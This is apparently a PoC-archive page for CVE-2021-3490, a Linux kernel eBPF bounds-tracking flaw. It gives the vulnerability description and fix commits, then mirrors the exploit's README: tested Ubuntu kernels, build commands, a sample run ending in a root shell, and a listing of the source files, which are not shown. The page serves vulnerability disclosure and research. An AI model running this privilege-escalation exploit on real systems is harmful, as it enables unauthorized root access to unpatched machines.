Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-3490 PoC — Linux kernel eBPF bitwise ops ALU32 bounds tracking

Source
Associated Vulnerability
Title:Linux kernel eBPF bitwise ops ALU32 bounds tracking (CVE-2021-3490)
Description:The eBPF ALU32 bounds tracking for bitwise ops (AND, OR and XOR) in the Linux kernel did not properly update 32-bit bounds, which could be turned into out of bounds reads and writes in the Linux kernel and therefore, arbitrary code execution. This issue was fixed via commit 049c4e13714e ("bpf: Fix alu32 const subreg bound tracking on bitwise operations") (v5.13-rc4) and backported to the stable kernels in v5.12.4, v5.11.21, and v5.10.37. The AND/OR issues were introduced by commit 3f50f132d840 ("bpf: Verifier, do explicit ALU32 bounds tracking") (5.7-rc1) and the XOR variant was introduced by 2921c90d4718 ("bpf:Fix a verifier failure with xor") ( 5.10-rc1).
Readme
# Linux_LPE_eBPF_CVE-2021-3490

LPE exploit for CVE-2021-3490. Tested on Ubuntu 20.04.02 and 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58.
and Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17.
The vulnerability was discovered by Manfred Paul [@_manfp](https://twitter.com/_manfp) and fixed in this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e).
    
author: [@chompie1337](https://twitter.com/chompie1337)

For educational/research purposes only. Use at your own risk.

## Usage:

To build for Ubuntu 20.04.02 and Ubuntu 20.10 (Groovy Gorilla):
```
make groovy
```
To build for Ubuntu 21.04 (Hirsute Hippo):
```
make hirsute
```
To run:
```
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
```

Note: You **must** cleanly exit the root shell by typing `exit` to perform cleanup and avoid a kernel panic.

Checkout the writeup [Kernel Pwning with eBPF: a Love Story](https://chompie.rip/Blog+Posts/Kernel+Pwning+with+eBPF+-+a+Love+Story).

File Snapshot

[4.0K] /data/pocs/9ab0d7f0b8e1f69483df791ff6e983dc7000a4a8 ├── [4.0K] bin ├── [2.2K] bpf.c ├── [ 16K] exploit.c ├── [4.0K] include │   ├── [5.8K] bpf_defs.h │   ├── [5.1K] exploit_configs.h │   ├── [4.9K] kernel_defs.h │   └── [ 284] kmem_search.h ├── [6.3K] kmem_search.c ├── [ 209] Makefile └── [1.4K] README.md 2 directories, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →